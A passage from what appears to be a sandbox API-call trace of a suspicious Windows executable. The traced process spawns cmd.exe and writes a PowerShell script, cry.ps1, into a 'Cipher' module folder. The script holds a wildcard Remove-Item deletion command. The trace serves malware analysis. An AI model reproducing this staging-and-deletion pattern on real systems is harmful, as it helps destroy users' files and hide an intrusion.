returned -1 [0063.994] _wcsicmp (_String1="cmd", _String2="ERASE") returned -2 [0063.994] _wcsicmp (_String1="cmd", _String2="DEL") returned -1 [0063.994] _wcsicmp (_String1="cmd", _String2="TYPE") returned -17 [0063.994] _wcsicmp (_String1="cmd", _String2="COPY") returned -2 [0063.994] _wcsicmp (_String1="cmd", _String2="CD") returned 9 [0063.994] _wcsicmp (_String1="cmd", _String2="CHDIR") returned 5 [0063.994] _wcsicmp (_String1="cmd", _String2="RENAME") returned -15 [0063.994] _wcsicmp (_String1="cmd", _String2="REN") returned -15 [0063.994] _wcsicmp (_String1="cmd", _String2="ECHO") returned -2 [0063.994] _wcsicmp (_String1="cmd", _String2="SET") returned -16 [0063.994] _wcsicmp (_String1="cmd", _String2="PAUSE") returned -13 [0063.994] _wcsicmp (_String1="cmd", _String2="DATE") returned -1 [0063.994] _wcsicmp (_String1="cmd", _String2="TIME") returned -17 [0063.994] _wcsicmp (_String1="cmd", _String2="PROMPT") returned -13 [0063.994] _wcsicmp (_String1="cmd", _String2="MD") returned -10 [0063.995] _wcsicmp (_String1="cmd", _String2="MKDIR") returned -10 [0063.995] _wcsicmp (_String1="cmd", _String2="RD") returned -15 [0063.995] _wcsicmp (_String1="cmd", _String2="RMDIR") returned -15 [0063.995] _wcsicmp (_String1="cmd", _String2="PATH") returned -13 [0063.995] _wcsicmp (_String1="cmd", _String2="GOTO") returned -4 [0063.995] _wcsicmp (_String1="cmd", _String2="SHIFT") returned -16 [0063.995] _wcsicmp (_String1="cmd", _String2="CLS") returned 1 [0063.995] _wcsicmp (_String1="cmd", _String2="CALL") returned 12 [0063.995] _wcsicmp (_String1="cmd", _String2="VERIFY") returned -19 [0063.995] _wcsicmp (_String1="cmd", _String2="VER") returned -19 [0063.995] _wcsicmp (_String1="cmd", _String2="VOL") returned -19 [0063.995] _wcsicmp (_String1="cmd", _String2="EXIT") returned -2 [0063.995] _wcsicmp (_String1="cmd", _String2="SETLOCAL") returned -16 [0063.995] _wcsicmp (_String1="cmd", _String2="ENDLOCAL") returned -2 [0063.995] _wcsicmp (_String1="cmd", _String2="TITLE") returned -17 [0063.995] _wcsicmp (_String1="cmd", _String2="START") returned -16 [0063.995] _wcsicmp (_String1="cmd", _String2="DPATH") returned -1 [0063.995] _wcsicmp (_String1="cmd", _String2="KEYS") returned -8 [0063.995] _wcsicmp (_String1="cmd", _String2="MOVE") returned -10 [0063.995] _wcsicmp (_String1="cmd", _String2="PUSHD") returned -13 [0063.995] _wcsicmp (_String1="cmd", _String2="POPD") returned -13 [0063.995] _wcsicmp (_String1="cmd", _String2="ASSOC") returned 2 [0063.995] _wcsicmp (_String1="cmd", _String2="FTYPE") returned -3 [0063.995] _wcsicmp (_String1="cmd", _String2="BREAK") returned 1 [0063.995] _wcsicmp (_String1="cmd", _String2="COLOR") returned -2 [0063.995] _wcsicmp (_String1="cmd", _String2="MKLINK") returned -10 [0063.995] _wcsicmp (_String1="cmd", _String2="DIR") returned -1 [0063.996] _wcsicmp (_String1="cmd", _String2="ERASE") returned -2 [0063.996] _wcsicmp (_String1="cmd", _String2="DEL") returned -1 [0063.996] _wcsicmp (_String1="cmd", _String2="TYPE") returned -17 [0063.996] _wcsicmp (_String1="cmd", _String2="COPY") returned -2 [0063.996] _wcsicmp (_String1="cmd", _String2="CD") returned 9 [0063.996] _wcsicmp (_String1="cmd", _String2="CHDIR") returned 5 [0063.996] _wcsicmp (_String1="cmd", _String2="RENAME") returned -15 [0063.996] _wcsicmp (_String1="cmd", _String2="REN") returned -15 [0063.996] _wcsicmp (_String1="cmd", _String2="ECHO") returned -2 [0063.996] _wcsicmp (_String1="cmd", _String2="SET") returned -16 [0063.996] _wcsicmp (_String1="cmd", _String2="PAUSE") returned -13 [0063.996] _wcsicmp (_String1="cmd", _String2="DATE") returned -1 [0063.996] _wcsicmp (_String1="cmd", _String2="TIME") returned -17 [0063.996] _wcsicmp (_String1="cmd", _String2="PROMPT") returned -13 [0063.996] _wcsicmp (_String1="cmd", _String2="MD") returned -10 [0063.996] _wcsicmp (_String1="cmd", _String2="MKDIR") returned -10 [0063.996] _wcsicmp (_String1="cmd", _String2="RD") returned -15 [0063.996] _wcsicmp (_String1="cmd", _String2="RMDIR") returned -15 [0063.996] _wcsicmp (_String1="cmd", _String2="PATH") returned -13 [0063.996] _wcsicmp (_String1="cmd", _String2="GOTO") returned -4 [0063.996] _wcsicmp (_String1="cmd", _String2="SHIFT") returned -16 [0063.996] _wcsicmp (_String1="cmd", _String2="CLS") returned 1 [0063.996] _wcsicmp (_String1="cmd", _String2="CALL") returned 12 [0063.996] _wcsicmp (_String1="cmd", _String2="VERIFY") returned -19 [0063.996] _wcsicmp (_String1="cmd", _String2="VER") returned -19 [0063.996] _wcsicmp (_String1="cmd", _String2="VOL") returned -19 [0063.996] _wcsicmp (_String1="cmd", _String2="EXIT") returned -2 [0063.996] _wcsicmp (_String1="cmd", _String2="SETLOCAL") returned -16 [0063.997] _wcsicmp (_String1="cmd", _String2="ENDLOCAL") returned -2 [0063.997] _wcsicmp (_String1="cmd", _String2="TITLE") returned -17 [0063.997] _wcsicmp (_String1="cmd", _String2="START") returned -16 [0063.997] _wcsicmp (_String1="cmd", _String2="DPATH") returned -1 [0063.997] _wcsicmp (_String1="cmd", _String2="KEYS") returned -8 [0063.997] _wcsicmp (_String1="cmd", _String2="MOVE") returned -10 [0063.997] _wcsicmp (_String1="cmd", _String2="PUSHD") returned -13 [0063.997] _wcsicmp (_String1="cmd", _String2="POPD") returned -13 [0063.997] _wcsicmp (_String1="cmd", _String2="ASSOC") returned 2 [0063.997] _wcsicmp (_String1="cmd", _String2="FTYPE") returned -3 [0063.997] _wcsicmp (_String1="cmd", _String2="BREAK") returned 1 [0063.997] _wcsicmp (_String1="cmd", _String2="COLOR") returned -2 [0063.997] _wcsicmp (_String1="cmd", _String2="MKLINK") returned -10 [0063.997] _wcsicmp (_String1="cmd", _String2="FOR") returned -3 [0063.997] _wcsicmp (_String1="cmd", _String2="IF") returned -6 [0063.997] _wcsicmp (_String1="cmd", _String2="REM") returned -15 [0063.997] GetProcessHeap () returned 0x690000 [0063.997] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x210) returned 0x690ff0 [0063.998] GetProcessHeap () returned 0x690000 [0063.998] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xa4) returned 0x691208 [0063.998] _wcsnicmp (_String1="cmd.", _String2="cmd ", _MaxCount=0x4) returned 14 [0063.998] GetProcessHeap () returned 0x690000 [0063.998] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x418) returned 0x6a2688 [0063.998] SetErrorMode (uMode=0x0) returned 0x0 [0063.998] SetErrorMode (uMode=0x1) returned 0x0 [0063.998] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6a2690, lpFilePart=0x2cf084 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x2cf084*="Desktop") returned 0x1a [0063.998] SetErrorMode (uMode=0x0) returned 0x1 [0063.998] GetProcessHeap () returned 0x690000 [0063.998] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a2688, Size=0x4e) returned 0x6a2688 [0063.998] GetProcessHeap () returned 0x690000 [0063.998] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a2688) returned 0x4e [0063.999] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e70640, nSize=0x2000 | out: lpBuffer="") returned 0xc8 [0063.999] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0063.999] GetProcessHeap () returned 0x690000 [0063.999] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x1d4) returned 0x6a26e0 [0063.999] GetProcessHeap () returned 0x690000 [0063.999] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x3a0) returned 0x6a28c0 [0064.003] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a28c0, Size=0x1d6) returned 0x6a28c0 [0064.003] GetProcessHeap () returned 0x690000 [0064.003] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a28c0) returned 0x1d6 [0064.003] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e70640, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0064.003] GetProcessHeap () returned 0x690000 [0064.003] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xe0) returned 0x6a2aa0 [0064.003] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a2aa0, Size=0x76) returned 0x6a2aa0 [0064.003] GetProcessHeap () returned 0x690000 [0064.003] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a2aa0) returned 0x76 [0064.004] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.004] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\cmd.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\cmd.exe"), fInfoLevelId=0x1, lpFindFileData=0x2cee20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cee20) returned 0xffffffff [0064.005] GetLastError () returned 0x2 [0064.005] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\cmd.exe.*" (normalized: "c:\\users\\keecfmwgj\\desktop\\cmd.exe.*"), fInfoLevelId=0x1, lpFindFileData=0x2cee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cee00) returned 0xffffffff [0064.005] GetLastError () returned 0x2 [0064.005] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\cmd.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\cmd.exe"), fInfoLevelId=0x1, lpFindFileData=0x2cee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cee00) returned 0xffffffff [0064.005] GetLastError () returned 0x2 [0064.005] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.005] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\cmd.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\cmd.exe"), fInfoLevelId=0x1, lpFindFileData=0x2cee20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cee20) returned 0xffffffff [0064.006] GetLastError () returned 0x2 [0064.006] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\cmd.exe.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\cmd.exe.*"), fInfoLevelId=0x1, lpFindFileData=0x2cee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cee00) returned 0xffffffff [0064.006] GetLastError () returned 0x2 [0064.006] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\cmd.exe" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\cmd.exe"), fInfoLevelId=0x1, lpFindFileData=0x2cee00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cee00) returned 0xffffffff [0064.006] GetLastError () returned 0x2 [0064.006] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.006] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe"), fInfoLevelId=0x1, lpFindFileData=0x2cee20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2cee20) returned 0x6a6210 [0064.006] GetProcessHeap () returned 0x690000 [0064.006] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x14) returned 0x6a6250 [0064.006] FindClose (in: hFindFile=0x6a6210 | out: hFindFile=0x6a6210) returned 1 [0064.007] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0064.007] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0064.007] GetConsoleTitleW (in: lpConsoleTitle=0x2cf2f8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0064.007] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cf180, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cf248 | out: lpAttributeList=0x2cf180, lpSize=0x2cf248) returned 1 [0064.007] UpdateProcThreadAttribute (in: lpAttributeList=0x2cf180, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cf240, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cf180, lpPreviousValue=0x0) returned 1 [0064.007] GetStartupInfoW (in: lpStartupInfo=0x2cf13c | out: lpStartupInfo=0x2cf13c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x13, lpReserved2=0x691da6, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0064.007] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x18) returned 0x6a6270 [0064.007] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0064.007] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0064.007] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0064.007] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.007] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.007] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0064.007] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0064.007] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0064.009] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0064.010] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0064.010] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0064.010] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0064.010] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0064.010] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0064.010] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.010] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0064.010] GetProcessHeap () returned 0x690000 [0064.010] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a6270 | out: hHeap=0x690000) returned 1 [0064.010] GetProcessHeap () returned 0x690000 [0064.010] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xa) returned 0x6a05a0 [0064.010] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1 [0064.012] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="cmd.exe /c cd C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kEecfMwgj\\Desktop", lpStartupInfo=0x2cf1dc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cmd.exe /c cd C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cf228 | out: lpCommandLine="cmd.exe /c cd C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher ", lpProcessInformation=0x2cf228*(hProcess=0x80, hThread=0x7c, dwProcessId=0x5cc, dwThreadId=0x404)) returned 1 [0064.033] CloseHandle (hObject=0x7c) returned 1 [0064.034] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0064.034] GetProcessHeap () returned 0x690000 [0064.034] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a4b50 | out: hHeap=0x690000) returned 1 [0064.034] GetEnvironmentStringsW () returned 0x6a4b50* [0064.034] GetProcessHeap () returned 0x690000 [0064.034] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xbd8) returned 0x6a2ef8 [0064.034] memcpy (in: _Dst=0x6a2ef8, _Src=0x6a4b50, _Size=0xbd8 | out: _Dst=0x6a2ef8) returned 0x6a2ef8 [0064.034] FreeEnvironmentStringsW (penv=0x6a4b50) returned 1 [0064.034] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0 [0064.301] GetExitCodeProcess (in: hProcess=0x80, lpExitCode=0x2cf11c | out: lpExitCode=0x2cf11c*=0x0) returned 1 [0064.302] CloseHandle (hObject=0x80) returned 1 [0064.302] _vsnwprintf (in: _Buffer=0x2cf264, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cf128 | out: _Buffer="00000000") returned 8 [0064.302] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0064.302] GetProcessHeap () returned 0x690000 [0064.303] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a2ef8 | out: hHeap=0x690000) returned 1 [0064.303] GetEnvironmentStringsW () returned 0x6a2ef8* [0064.303] GetProcessHeap () returned 0x690000 [0064.303] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xbfe) returned 0x6a9a88 [0064.303] memcpy (in: _Dst=0x6a9a88, _Src=0x6a2ef8, _Size=0xbfe | out: _Dst=0x6a9a88) returned 0x6a9a88 [0064.303] FreeEnvironmentStringsW (penv=0x6a2ef8) returned 1 [0064.303] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0064.303] GetProcessHeap () returned 0x690000 [0064.304] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a9a88 | out: hHeap=0x690000) returned 1 [0064.304] GetEnvironmentStringsW () returned 0x6a2ef8* [0064.304] GetProcessHeap () returned 0x690000 [0064.304] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xbfe) returned 0x6a9a88 [0064.304] memcpy (in: _Dst=0x6a9a88, _Src=0x6a2ef8, _Size=0xbfe | out: _Dst=0x6a9a88) returned 0x6a9a88 [0064.304] FreeEnvironmentStringsW (penv=0x6a2ef8) returned 1 [0064.304] GetProcessHeap () returned 0x690000 [0064.304] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a05a0 | out: hHeap=0x690000) returned 1 [0064.305] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cf180 | out: lpAttributeList=0x2cf180) [0064.305] _get_osfhandle (_FileHandle=1) returned 0x7 [0064.305] _get_osfhandle (_FileHandle=1) returned 0x7 [0064.305] _get_osfhandle (_FileHandle=1) returned 0x7 [0064.305] GetFileType (hFile=0x7) returned 0x2 [0064.305] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0064.305] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2cf700 | out: lpMode=0x2cf700) returned 1 [0064.306] _dup (_FileHandle=1) returned 3 [0064.307] _close (_FileHandle=1) returned 0 [0064.307] _wcsicmp (_String1="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", _String2="con") returned -53 [0064.307] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x2cf6d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80 [0064.307] _open_osfhandle (_OSFileHandle=0x80, _Flags=8) returned 1 [0064.308] _get_osfhandle (_FileHandle=1) returned 0x80 [0064.308] GetFileType (hFile=0x80) returned 0x1 [0064.308] GetFileSize (in: hFile=0x80, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x26c [0064.308] SetFilePointer (in: hFile=0x80, lDistanceToMove=-1, lpDistanceToMoveHigh=0x2cf6e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2cf6e8*=0) returned 0x26b [0064.308] ReadFile (in: hFile=0x80, lpBuffer=0x2cf6e0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf6dc, lpOverlapped=0x0 | out: lpBuffer=0x2cf6e0*, lpNumberOfBytesRead=0x2cf6dc*=0x1, lpOverlapped=0x0) returned 1 [0064.308] GetConsoleTitleW (in: lpConsoleTitle=0x2cf500, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0064.308] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x69f978, Size=0x94) returned 0x69f978 [0064.308] GetProcessHeap () returned 0x690000 [0064.309] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x69f978) returned 0x94 [0064.309] _vsnwprintf (in: _Buffer=0x49e74640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x2cf4c8 | out: _Buffer="Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* \r\n") returned 72 [0064.309] _get_osfhandle (_FileHandle=1) returned 0x80 [0064.309] GetFileType (hFile=0x80) returned 0x1 [0064.309] _get_osfhandle (_FileHandle=1) returned 0x80 [0064.309] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* \r\n", cchWideChar=-1, lpMultiByteStr=0x49e66640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Remove-Item -path $home\\Documents\\WindowsPowerShell\\Modules\\Cipher\\* \r\n", lpUsedDefaultChar=0x0) returned 73 [0064.309] WriteFile (in: hFile=0x80, lpBuffer=0x49e66640*, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0x2cf4b4, lpOverlapped=0x0 | out: lpBuffer=0x49e66640*, lpNumberOfBytesWritten=0x2cf4b4*=0x48, lpOverlapped=0x0) returned 1 [0064.310] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0064.312] _close (_FileHandle=3) returned 0 [0064.313] GetConsoleTitleW (in: lpConsoleTitle=0x2cf49c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0064.314] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6a4d70, lpFilePart=0x2cefbc | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x2cefbc*="Desktop") returned 0x1a [0064.314] SetErrorMode (uMode=0x0) returned 0x1 [0064.314] GetProcessHeap () returned 0x690000 [0064.314] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a4d68, Size=0x54) returned 0x6a4d68 [0064.314] GetProcessHeap () returned 0x690000 [0064.314] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a4d68) returned 0x54 [0064.314] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e70640, nSize=0x2000 | out: lpBuffer="") returned 0xc8 [0064.314] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0064.314] GetProcessHeap () returned 0x690000 [0064.314] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x1d4) returned 0x6a4dc8 [0064.314] GetProcessHeap () returned 0x690000 [0064.314] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x3a0) returned 0x6a4fa8 [0064.314] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a4fa8, Size=0x1d6) returned 0x6a4fa8 [0064.314] GetProcessHeap () returned 0x690000 [0064.314] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a4fa8) returned 0x1d6 [0064.314] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e70640, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0064.315] GetProcessHeap () returned 0x690000 [0064.315] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xe0) returned 0x6a5188 [0064.315] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a5188, Size=0x76) returned 0x6a5188 [0064.315] GetProcessHeap () returned 0x690000 [0064.315] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a5188) returned 0x76 [0064.315] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.315] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\powershell.*" (normalized: "c:\\users\\keecfmwgj\\desktop\\powershell.*"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.315] GetLastError () returned 0x2 [0064.315] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\powershell" (normalized: "c:\\users\\keecfmwgj\\desktop\\powershell"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.316] GetLastError () returned 0x2 [0064.316] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0064.316] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\powershell.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\powershell.*"), fInfoLevelId=0x1, lpFindFileData=0x2ced38, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ced38) returned 0xffffffff [0064.316] GetLastError () returned 0x2 [0064.317] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common 